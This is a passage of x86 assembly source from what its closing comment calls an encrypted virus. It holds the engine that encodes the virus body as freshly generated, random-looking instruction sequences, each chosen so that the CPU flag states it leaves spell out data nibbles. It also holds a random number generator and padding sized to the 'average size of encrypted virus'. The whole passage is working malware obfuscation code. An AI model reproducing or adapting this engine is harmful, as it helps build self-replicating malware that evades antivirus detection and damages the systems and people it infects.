jmp DoNibbleEnd
|
|
|
|
|
|
DoNF_PUSHFD:
|
|
mov byte[edi], 0x9C ; pushfd
|
|
inc edi
|
|
|
|
test byte[RandomNumber], 0100'0000b
|
|
jnz DoNF_PUSHFD_AL
|
|
|
|
|
|
mov al, byte[RandomNumber]
|
|
and al, 0000'0011b
|
|
add al, 0x58
|
|
mov byte[edi+00], al ; pop e(a|c|d|b)x
|
|
|
|
mov byte[edi+01], 0x88
|
|
and al, 0000'0011b
|
|
shl al, 3
|
|
or al, 0000'0111b
|
|
mov byte[edi+02], al ; mov byte[edi], (a|c|d|b)l
|
|
mov byte[edi+03], 0x47 ; inc edi (thx hh86 :D)
|
|
add edi, 4
|
|
jmp DoNibbleEnd
|
|
|
|
DoNF_PUSHFD_AL:
|
|
mov byte[edi+00], 0x58 ; pop eax
|
|
mov byte[edi+01], 0xAA ; stos
|
|
add edi, 2
|
|
; jmp DoNibbleEnd
|
|
|
|
DoNibbleEnd:
|
|
|
|
mov dword[VerifiedAddress], edi
|
|
|
|
ret
|
|
|
|
; ###########################################################################
|
|
; #####
|
|
; ##### Generate Nibbles
|
|
; #####
|
|
|
|
|
|
|
|
|
|
; ###########################################################################
|
|
; ##### Nibble 0: CF - (ROL, ROR)
|
|
|
|
GenerateNibble0:
|
|
; edi ... pointer in filecode
|
|
; bl & 0000'1111b ... nibble to generate
|
|
|
|
|
|
; ebp:
|
|
; 0 ... rol Reg, 1
|
|
; 1 ... rol Reg, cl
|
|
|
|
; 3 ... ror Reg, cl
|
|
|
|
|
|
|
|
call InformationToFlagByte ; bh=flag byte
|
|
|
|
GN0_GetTypeAgain:
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0011b
|
|
|
|
cmp ebp, 2
|
|
je GN0_GetTypeAgain
|
|
|
|
push 0 ; loop counter
|
|
|
|
GN0_CF_loop: ; rol Reg, 1
|
|
|
|
pop ecx
|
|
inc ecx
|
|
push ecx
|
|
cmp ecx, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
GN0_CF_GetAnotherCL:
|
|
call GetRandomNumber
|
|
mov ecx, dword[RandomNumber]
|
|
|
|
test ecx, 0001'1111b ; shiftcount must not be zero
|
|
jz GN0_CF_GetAnotherCL
|
|
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
push eax
|
|
|
|
cmp ebp, 0
|
|
jne GN0_CF_loop_ROLN
|
|
|
|
rol eax, 1
|
|
jmp GN0_CF_loop_LAHF
|
|
|
|
GN0_CF_loop_ROLN: ; rol Reg, N/cl
|
|
cmp ebp, 1
|
|
jne GN0_CF_loop_RORN
|
|
|
|
rol eax, cl
|
|
jmp GN0_CF_loop_LAHF
|
|
|
|
GN0_CF_loop_RORN: ; ror Reg, N/cl
|
|
ror eax, cl
|
|
; jmp GN0_CF_loop_LAHF
|
|
|
|
|
|
GN0_CF_loop_LAHF:
|
|
lahf
|
|
|
|
pop edx
|
|
|
|
and ah, byte[FlagMask]
|
|
and bh, byte[FlagMask]
|
|
|
|
cmp ah, bh
|
|
jne GN0_CF_loop
|
|
|
|
pop eax ; remove counter
|
|
|
|
GN0_GetDifferentRegister:
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and al, 0000'0011b
|
|
cmp al, 0000'0001b
|
|
je GN0_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) )
|
|
|
|
or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[edi], edx
|
|
add edi, 4
|
|
|
|
push ebp
|
|
and ebp, 0000'0001b
|
|
pop ebp
|
|
jnz GN0_CFN ; is it "rotate Reg, 1" ?
|
|
|
|
mov byte[edi], 0xD1
|
|
inc edi
|
|
|
|
and al, 0000'0011b
|
|
cmp ebp, 0
|
|
jne GN0_CF_CreateCode_ROR
|
|
add al, 0xC0
|
|
jmp GN0_CF_CreateCode_done
|
|
|
|
GN0_CF_CreateCode_ROR:
|
|
add al, 0xC8
|
|
|
|
GN0_CF_CreateCode_done:
|
|
mov byte[edi], al
|
|
inc edi
|
|
jmp GN0_CF_End
|
|
|
|
|
|
|
|
GN0_CFN:
|
|
|
|
mov byte[edi], 0xB9
|
|
inc edi
|
|
|
|
mov dword[edi], ecx
|
|
add edi, 4
|
|
|
|
mov byte[edi], 0xD3
|
|
inc edi
|
|
|
|
and al, 0000'0011b
|
|
|
|
and ebp, 0000'0010b
|
|
jnz GN0_CFN_ROR
|
|
|
|
add al, 0xC0
|
|
jmp GN0_CF_Write_End
|
|
|
|
GN0_CFN_ROR:
|
|
add al, 0xC8
|
|
|
|
GN0_CF_Write_End:
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
|
|
|
|
GN0_CF_End:
|
|
mov dword[VerifiedAddress], edi
|
|
|
|
ret
|
|
|
|
|
|
; ##### Nibble 0: CF - (ROL, ROR)
|
|
; ###########################################################################
|
|
|
|
|
|
|
|
|
|
; ###########################################################################
|
|
; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)
|
|
|
|
GenerateNibble1:
|
|
; edi ... pointer in filecode
|
|
; bl & 0000'1111b ... nibble to generate
|
|
|
|
|
|
|
|
call InformationToFlagByte ; bh=flag byte
|
|
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0001b
|
|
|
|
push 0 ; loop counter
|
|
|
|
GN1_Loop:
|
|
|
|
pop eax
|
|
inc eax
|
|
push eax
|
|
cmp eax, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
push eax
|
|
|
|
cmp ebp, 0 ; this instruction clears AF. Thats important because
|
|
jne GN1_Aaa ; AAA and AAS depend on AF, and influence CF depending on it.
|
|
|
|
aas
|
|
jmp GN1_LAHF
|
|
|
|
GN1_Aaa:
|
|
aaa
|
|
jmp GN1_LAHF
|
|
|
|
GN1_LAHF:
|
|
pop edx
|
|
|
|
lahf
|
|
|
|
and ah, byte[FlagMask]
|
|
and bh, byte[FlagMask]
|
|
cmp ah, bh
|
|
jne GN1_Loop
|
|
|
|
pop eax ; remove counter
|
|
|
|
mov byte[edi], 0xB8
|
|
inc edi
|
|
|
|
mov dword[edi], edx ; mov Reg1, NUMBER
|
|
add edi, 4
|
|
|
|
|
|
cmp ebp, 0
|
|
jne GN1_WriteAaa
|
|
|
|
mov byte[edi], 0x3F
|
|
inc edi
|
|
jmp GN1_Fin
|
|
|
|
GN1_WriteAaa:
|
|
mov byte[edi], 0x37
|
|
inc edi
|
|
|
|
GN1_Fin:
|
|
mov dword[VerifiedAddress], edi
|
|
|
|
|
|
ret
|
|
|
|
|
|
; ##### Nibble 1: AF, CF (PF, SF undefined) - (AAA, AAS)
|
|
; ###########################################################################
|
|
|
|
|
|
|
|
|
|
; ###########################################################################
|
|
; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)
|
|
|
|
GenerateNibble2:
|
|
; edi ... pointer in filecode
|
|
; bl & 0000'1111b ... nibble to generate
|
|
|
|
|
|
; ebp:
|
|
; 0 ... shl Reg, 1
|
|
; 1 ... shl Reg, N/cl
|
|
; 4 ... sal Reg, 1
|
|
; 5 ... sal Reg, N/cl
|
|
; 7 ... sar Reg, N/cl
|
|
|
|
|
|
call InformationToFlagByte ; bh=flag byte
|
|
|
|
GN2_GetTypeAgain:
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0111b
|
|
|
|
cmp ebp, 2
|
|
je GN2_GetTypeAgain
|
|
cmp ebp, 3
|
|
je GN2_GetTypeAgain
|
|
cmp ebp, 6
|
|
je GN2_GetTypeAgain
|
|
|
|
push 0 ; counter
|
|
|
|
GN2_Shift_loop: ; shl Reg, 1
|
|
|
|
pop ecx
|
|
inc ecx
|
|
push ecx
|
|
cmp ecx, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
call GetRandomNumber
|
|
mov ecx, dword[RandomNumber]
|
|
|
|
GN2_CF_GetAnotherCL:
|
|
call GetRandomNumber
|
|
mov ecx, dword[RandomNumber]
|
|
|
|
test ecx, 0001'1111b ; shiftcount must not be zero
|
|
jz GN2_CF_GetAnotherCL
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
push eax
|
|
|
|
cmp ebp, 0
|
|
jne GN2_Shift_loop_SHLN
|
|
|
|
shl eax, 1
|
|
jmp GN2_Shift_loop_LAHF
|
|
|
|
GN2_Shift_loop_SHLN: ; shl Reg, N/cl
|
|
cmp ebp, 1
|
|
jne GN2_Shift_loop_SAL1
|
|
|
|
shl eax, cl
|
|
jmp GN2_Shift_loop_LAHF
|
|
|
|
GN2_Shift_loop_SAL1: ; sal Reg, 1
|
|
cmp ebp, 4
|
|
jne GN2_Shift_loop_SALN
|
|
|
|
sal eax, 1
|
|
jmp GN2_Shift_loop_LAHF
|
|
|
|
|
|
GN2_Shift_loop_SALN: ; sal Reg, N
|
|
cmp ebp, 5
|
|
jne GN2_Shift_loop_SARN
|
|
|
|
sal eax, cl
|
|
jmp GN2_Shift_loop_LAHF
|
|
|
|
|
|
GN2_Shift_loop_SARN: ; sar Reg, N
|
|
sar eax, cl
|
|
; jmp GN3_Shift_loop_LAHF
|
|
|
|
|
|
GN2_Shift_loop_LAHF:
|
|
lahf
|
|
|
|
pop edx
|
|
|
|
and ah, byte[FlagMask]
|
|
and bh, byte[FlagMask]
|
|
|
|
cmp ah, bh
|
|
jne GN2_Shift_loop
|
|
|
|
pop eax ; remove counter
|
|
|
|
GN2_GetDifferentRegister:
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and al, 0000'0011b
|
|
cmp al, 0000'0001b
|
|
je GN2_GetDifferentRegister ; dont use ECX because we can use CL as second parameter (~2h to find this :) )
|
|
|
|
or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, edx)
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[edi], edx
|
|
add edi, 4
|
|
|
|
push ebp
|
|
and ebp, 0000'0001b
|
|
pop ebp
|
|
jnz GN2_ShiftN ; is it "shift Reg, 1" ?
|
|
|
|
mov byte[edi], 0xD1
|
|
inc edi
|
|
|
|
and al, 0000'0011b
|
|
cmp ebp, 0
|
|
jne GN2_Shift_CreateCode_SAL
|
|
add al, 0xE0
|
|
jmp GN2_Shift_CreateCode_done
|
|
|
|
GN2_Shift_CreateCode_SAL:
|
|
cmp ebp, 4
|
|
jne GN2_Shift_CreateCode_SAR
|
|
add al, 0xF0
|
|
jmp GN2_Shift_CreateCode_done
|
|
|
|
GN2_Shift_CreateCode_SAR:
|
|
add al, 0xF0
|
|
|
|
GN2_Shift_CreateCode_done:
|
|
mov byte[edi], al
|
|
inc edi
|
|
jmp GN2_Shift_End
|
|
|
|
GN2_ShiftN:
|
|
|
|
and al, 0000'0011b
|
|
|
|
cmp ebp, 1
|
|
jne GN2_ShiftNum_NotShl
|
|
|
|
add al, 0xE0 ; shl
|
|
jmp GN2_ShiftNum_WriteNow
|
|
|
|
GN2_ShiftNum_NotShl:
|
|
cmp ebp, 5
|
|
jne GN2_ShiftNum_NotSal
|
|
|
|
add al, 0xF0 ; sal
|
|
jmp GN2_ShiftNum_WriteNow
|
|
|
|
GN2_ShiftNum_NotSal:
|
|
add al, 0xF8 ; sar
|
|
; jmp GN2_ShiftNum_WriteNow
|
|
|
|
GN2_ShiftNum_WriteNow:
|
|
|
|
call GetRandomNumber
|
|
mov ah, byte[RandomNumber] ; 0 ... shift Reg, NNNN
|
|
; 1 ... shift Reg, cl
|
|
and ah, 0000'0001b
|
|
|
|
jz GN2_Shift_Num
|
|
|
|
mov byte[edi], 0xB9 ; mov ecx, ...
|
|
inc edi
|
|
|
|
mov dword[edi], ecx
|
|
add edi, 4
|
|
|
|
mov byte[edi], 0xD3
|
|
inc edi
|
|
|
|
mov byte[edi], al
|
|
inc edi
|
|
jmp GN2_Shift_End
|
|
|
|
GN2_Shift_Num:
|
|
mov byte[edi], 0xC1
|
|
inc edi
|
|
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov byte[edi], cl
|
|
inc edi
|
|
|
|
|
|
GN2_Shift_End:
|
|
|
|
mov dword[VerifiedAddress], edi
|
|
ret
|
|
|
|
|
|
; ##### Nibble 2: CF PF (AF undefined, SF undefined?) - (SHL, SHR, SAL, SAR)
|
|
; ###########################################################################
|
|
|
|
|
|
; ###########################################################################
|
|
; ##### Nibble 3: PF SF (AF undefined) - (AND, XOR, TEST)
|
|
|
|
GenerateNibble3:
|
|
; edi ... pointer in filecode
|
|
; bl & 0000'1111b ... nibble to generate
|
|
|
|
|
|
|
|
call InformationToFlagByte ; bh=flag byte
|
|
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0011b
|
|
|
|
push 0
|
|
|
|
GN3_AndXorTest_Loop:
|
|
|
|
pop eax
|
|
inc eax
|
|
push eax
|
|
cmp eax, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
push eax
|
|
|
|
call GetRandomNumber
|
|
mov ecx, dword[RandomNumber]
|
|
|
|
cmp ebp, 0
|
|
jne GN3_AndXorTest_NotAnd
|
|
and eax, ecx
|
|
jmp GN3_AndXorTest_LAHF
|
|
|
|
GN3_AndXorTest_NotAnd:
|
|
cmp ebp, 1
|
|
jne GN3_AndXorTest_NotXor
|
|
xor eax, ecx
|
|
jmp GN3_AndXorTest_LAHF
|
|
|
|
GN3_AndXorTest_NotXor:
|
|
test eax, ecx
|
|
jmp GN3_AndXorTest_LAHF
|
|
|
|
GN3_AndXorTest_LAHF:
|
|
pop edx
|
|
|
|
lahf
|
|
|
|
and ah, byte[FlagMask]
|
|
and bh, byte[FlagMask]
|
|
cmp ah, bh
|
|
jne GN3_AndXorTest_Loop
|
|
|
|
pop eax ; remove counter
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and eax, 0000'0011b
|
|
or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
|
|
mov byte[edi], al
|
|
and eax, 0000'0011b
|
|
inc edi
|
|
|
|
mov dword[edi], edx ; mov Reg1, NUMBER
|
|
add edi, 4
|
|
|
|
and eax, 0000'0011b
|
|
|
|
call GetRandomNumber
|
|
mov esi, dword[RandomNumber]
|
|
and esi, 0000'0001b
|
|
|
|
je GN3_AndXorTest_Num
|
|
; and Reg1, Reg2
|
|
GN3_AndXorTest_TwoRegisters_Next:
|
|
call GetRandomNumber
|
|
mov ebx, dword[RandomNumber]
|
|
and ebx, 0011b
|
|
cmp ebx, eax
|
|
je GN3_AndXorTest_TwoRegisters_Next ; Not the same registers!
|
|
|
|
or bl, 0xB8
|
|
mov byte[edi], bl ; mov Reg2, ...
|
|
inc edi
|
|
mov dword[edi], ecx ; mov Reg2, NNNN
|
|
add edi, 4
|
|
|
|
cmp ebp, 0
|
|
jne GN3_AndXorTest_2Regs_NoAnd
|
|
mov byte[edi], 0x21
|
|
jmp GN3_AndXorTest_2Regs_cont1
|
|
|
|
GN3_AndXorTest_2Regs_NoAnd:
|
|
cmp ebp, 1
|
|
jne GN3_AndXorTest_2Regs_NoXor
|
|
|
|
mov byte[edi], 0x31
|
|
jmp GN3_AndXorTest_2Regs_cont1
|
|
|
|
GN3_AndXorTest_2Regs_NoXor:
|
|
mov byte[edi], 0x85
|
|
jmp GN3_AndXorTest_2Regs_cont1
|
|
|
|
GN3_AndXorTest_2Regs_cont1:
|
|
inc edi
|
|
|
|
and bl, 0011b ; Reg2
|
|
shl bl, 3 ; bl=000??000
|
|
add bl, al ; bl=000??0??
|
|
add bl, 1100'0000b ; bl=110??0??
|
|
mov byte[edi], bl
|
|
inc edi
|
|
jmp GN3_AndXorTest_Fin
|
|
|
|
GN3_AndXorTest_Num:
|
|
push ebp
|
|
and ebp, 0000'0010b
|
|
pop ebp
|
|
jz GN3_AndXorTest_Num_AndXor
|
|
|
|
mov byte[edi], 0xF7
|
|
inc edi
|
|
|
|
or al, 0xC0
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[edi], ecx
|
|
add edi, 4
|
|
jmp GN3_AndXorTest_Fin
|
|
|
|
|
|
GN3_AndXorTest_Num_AndXor:
|
|
mov byte[edi], 0x81
|
|
inc edi
|
|
|
|
cmp ebp, 0
|
|
jne GN3_AndXorTest_Num_NoAnd
|
|
or al, 0xE0
|
|
jmp GN3_AndXorTest_Num_cont1
|
|
|
|
GN3_AndXorTest_Num_NoAnd:
|
|
or al, 0xF0
|
|
; jmp GN3_AndXorTest_Num_cont1
|
|
|
|
GN3_AndXorTest_Num_cont1:
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[edi], ecx
|
|
add edi, 4
|
|
|
|
GN3_AndXorTest_Fin:
|
|
|
|
mov dword[VerifiedAddress], edi
|
|
ret
|
|
|
|
|
|
; ##### Nibble 3: CF PF SF (AF undefined) - (AND, XOR, TEST)
|
|
; ###########################################################################
|
|
|
|
|
|
|
|
; ###########################################################################
|
|
; ##### Nibble 4: AF PF SF (DEC, INC)
|
|
|
|
GenerateNibble4:
|
|
; edi ... pointer in filecode
|
|
; bl & 0000'1111b ... nibble to generate
|
|
|
|
|
|
call InformationToFlagByte ; bh=flag byte
|
|
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0001b
|
|
|
|
|
|
push 0
|
|
|
|
GN4_IncDec_Loop:
|
|
|
|
pop eax
|
|
inc eax
|
|
push eax
|
|
cmp eax, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
push eax
|
|
|
|
cmp ebp, 0
|
|
je GN4_IncDec_Loop_DEC
|
|
|
|
inc eax
|
|
lahf
|
|
jmp GN4_IncDec_Loop_fin
|
|
|
|
GN4_IncDec_Loop_DEC:
|
|
dec eax
|
|
lahf
|
|
|
|
GN4_IncDec_Loop_fin:
|
|
pop edx
|
|
|
|
and ah, byte[FlagMask]
|
|
and bh, byte[FlagMask]
|
|
cmp ah, bh
|
|
jne GN4_IncDec_Loop
|
|
|
|
pop eax ; remove counter
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and al, 0000'0011b
|
|
or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[edi], edx
|
|
add edi, 4
|
|
|
|
|
|
and al, 0000'0011b
|
|
|
|
cmp ebp, 1
|
|
je GN4_IncDec_Loop_writeByteINC
|
|
|
|
add al, 8
|
|
|
|
GN4_IncDec_Loop_writeByteINC:
|
|
add al, 0x40
|
|
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[VerifiedAddress], edi
|
|
ret
|
|
|
|
|
|
; ##### Nibble 4: AF PF SF (DEC, INC)
|
|
; ###########################################################################
|
|
|
|
|
|
; ###########################################################################
|
|
; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)
|
|
|
|
|
|
GenerateNibble5:
|
|
; edi ... pointer in filecode
|
|
; bl & 0000'1111b ... nibble to generate
|
|
|
|
; AF CF PF SF
|
|
; using ADD, SUB, CMP, NEG
|
|
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0011b
|
|
|
|
cmp ebp, 0x0
|
|
je GN5_Neg
|
|
|
|
|
|
|
|
GN8AddSubCmpNext:
|
|
call GetRandomNumber
|
|
mov ebp, dword[RandomNumber]
|
|
and ebp, 0000'0011b ; ebp tells which instruction to use (1=add, 2=sub, 3=cmp)
|
|
jz GN8AddSubCmpNext
|
|
jmp GN5_AddSubCmp
|
|
|
|
GN5_fin:
|
|
|
|
mov dword[VerifiedAddress], edi
|
|
ret
|
|
|
|
|
|
|
|
GN5_Neg:
|
|
call InformationToFlagByte ; bh=flag byte
|
|
|
|
push 0
|
|
|
|
GN5_Neg_Loop:
|
|
|
|
pop eax
|
|
inc eax
|
|
push eax
|
|
cmp eax, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
push eax
|
|
|
|
neg eax
|
|
lahf
|
|
|
|
pop edx
|
|
|
|
cmp ah, bh
|
|
jne GN5_Neg_Loop
|
|
|
|
pop eax
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and al, 0000'0011b
|
|
or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx)
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
mov dword[edi], edx
|
|
add edi, 4
|
|
|
|
mov byte[edi], 0xF7
|
|
inc edi
|
|
|
|
and al, 0000'0011b
|
|
add al, 0xD8
|
|
mov byte[edi], al
|
|
inc edi
|
|
|
|
jmp GN5_fin
|
|
|
|
|
|
|
|
|
|
GN5_AddSubCmp:
|
|
call InformationToFlagByte ; bh=flag byte
|
|
call GetRandomNumber
|
|
|
|
push 0 ; loop counter
|
|
|
|
GN5_AddSubCmp_Loop:
|
|
|
|
pop edx
|
|
inc edx
|
|
push edx
|
|
cmp edx, 0x2A
|
|
ja GN_PossibleInfinitLoop
|
|
|
|
mov edx, dword[RandomNumber]
|
|
push edx
|
|
call GetRandomNumber
|
|
mov esi, dword[RandomNumber]
|
|
|
|
cmp ebp, 1
|
|
je GN5_AddSubCmp_Loop_Sub
|
|
|
|
cmp ebp, 2
|
|
je GN5_AddSubCmp_Loop_Cmp
|
|
|
|
mov ecx, 0x01C0
|
|
add edx, esi
|
|
jmp GN5_AddSubCmp_Loop_LAHF
|
|
|
|
GN5_AddSubCmp_Loop_Sub:
|
|
mov ecx, 0x29E8
|
|
sub edx, esi
|
|
jmp GN5_AddSubCmp_Loop_LAHF
|
|
|
|
GN5_AddSubCmp_Loop_Cmp:
|
|
mov ecx, 0x39F8
|
|
cmp edx, esi
|
|
|
|
|
|
GN5_AddSubCmp_Loop_LAHF:
|
|
lahf
|
|
|
|
pop edx
|
|
|
|
and ah, byte[FlagMask]
|
|
and bh, byte[FlagMask]
|
|
cmp ah, bh
|
|
jne GN5_AddSubCmp_Loop
|
|
|
|
pop eax ; remove counter
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and eax, 0000'0011b ; create Register number
|
|
push eax ; save Register number
|
|
|
|
mov bl, al
|
|
add bl, 0xB8
|
|
|
|
mov byte[edi], bl
|
|
inc edi
|
|
|
|
mov dword[edi], edx
|
|
add edi, 4 ; mov Reg1, NNNN
|
|
|
|
call GetRandomNumber
|
|
mov eax, dword[RandomNumber]
|
|
and eax, 1
|
|
|
|
jz GN5_AddSubCmp_TwoRegisters
|
|
|
|
|
|
mov byte[edi], 0x81
|
|
inc edi
|
|
|
|
mov dl, cl
|
|
pop eax ; get Register number
|
|
add dl, al ; use Register number
|
|
mov byte[edi], dl ; add Reg, ...
|
|
inc edi
|
|
mov dword[edi], esi
|
|
add edi, 4
|
|
jmp GN5_fin
|
|
|
|
GN5_AddSubCmp_TwoRegisters:
|
|
|
|
pop eax ; Register number
|
|
and al, 0000'0011b
|
|
|
|
GN5_AddSubCmp_TwoRegisters_Next:
|
|
call GetRandomNumber
|
|
mov ebx, dword[RandomNumber]
|
|
and ebx, 0011b
|
|
cmp ebx, eax
|
|
je GN5_AddSubCmp_TwoRegisters_Next ; Not the same registers!
|
|
|
|
or bl, 0xB8
|
|
mov byte[edi], bl ; mov Reg2, ...
|
|
inc edi
|
|
mov dword[edi], esi ; mov Reg2, NNNN
|
|
add edi, 4
|
|
|
|
and bl, 0011b ; Reg2
|
|
shl bl, 3 ; bl=000??000
|
|
add bl, al ; bl=000??0??
|
|
or bl, 1100'0000b ; bl=110??0??
|
|
mov byte[edi], ch
|
|
inc edi
|
|
mov byte[edi], bl
|
|
inc edi ; add Reg1, Reg2
|
|
|
|
jmp GN5_fin
|
|
|
|
; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB)
|
|
; ###########################################################################
|
|
|
|
InformationToFlagByte:
|
|
; in: bl=0000'SAPC
|
|
; out: bh=S00A'0P1C
|
|
|
|
push eax
|
|
mov al, bl
|
|
; CF:
|
|
mov bh, bl ; ah=0000'SAPC
|
|
and bh, 0000'0001b ; ah=0000'000C
|
|
|
|
; PF:
|
|
shl bl, 1 ; al=000S'APC0
|
|
or bh, bl ; ah=000S'APCC
|
|
and bh, 0000'0101b ; ah=0000'0P0C
|
|
|
|
; AF:
|
|
shl bl, 1 ; al=00SA'PC00
|
|
and bl, 0011'0000b ; al=00SA'0000
|
|
or bh, bl ; ah=00SA'0P0C
|
|
and bh, 0001'0101b ; ah=000A'0P0C
|
|
|
|
; SF:
|
|
shl bl, 2 ; al=SA00'0000
|
|
or bh, bl ; ah=SA0A'0P0C
|
|
and bh, 1001'0101b ; ah=S00A'0P0C
|
|
or bh, 0000'0010b ; ah=S00A'0P1C
|
|
|
|
xchg al, bl
|
|
pop eax
|
|
ret
|
|
|
|
|
|
GN_PossibleInfinitLoop:
|
|
; given Nibble could not be created with current methode
|
|
; therefore give up after 42+ trials and try with another one
|
|
|
|
|
|
pop eax ; remove counter
|
|
pop eax ; remove return-addresse
|
|
|
|
mov edi, dword[VerifiedAddress] ; last correct addresse of file
|
|
|
|
; if there has already been some code written to the
|
|
; new file, it can be considered as random functional trash :)
|
|
|
|
jmp CreateCodeForNibble
|
|
|
|
|
|
|
|
; #####
|
|
; ##### Generate Nibbles
|
|
; #####
|
|
; ###########################################################################
|
|
|
|
|
|
GetRandomNumber:
|
|
pushad
|
|
xor edx, edx
|
|
mov eax, dword[RandomNumber]
|
|
ror eax, 16
|
|
|
|
mov ebx, 1103515245
|
|
mul ebx ; EDX:EAX = EDX:EAX * EBX
|
|
|
|
add eax, 12345
|
|
rol eax, 16
|
|
mov dword[RandomNumber], eax
|
|
popad
|
|
ret
|
|
|
|
CreateSpecialRndNumber:
|
|
; in: ebx, ecx
|
|
; out: edx=(rand()%ebx + ecx)
|
|
|
|
call GetRandomNumber
|
|
|
|
xor edx, edx
|
|
mov eax, dword[RandomNumber]
|
|
div ebx
|
|
|
|
add edx, ecx
|
|
ret
|
|
|
|
WholeCodeEnd:
|
|
|
|
times (175'269 + 7 * 1149 - (WholeCodeEnd-StartEngine)) db 0x0 ; 1st generation padding
|
|
; This is average size of encrypted virus + 7 * sigma - 1st gen. code
|
|
; 7*sigma ~ 99.999999999744 % of all cases
|
|
; (i took the average of 15files, as statistics is very high in one
|
|
; file, this is to a very good approx. gauss distributed)
|
|
.end start
|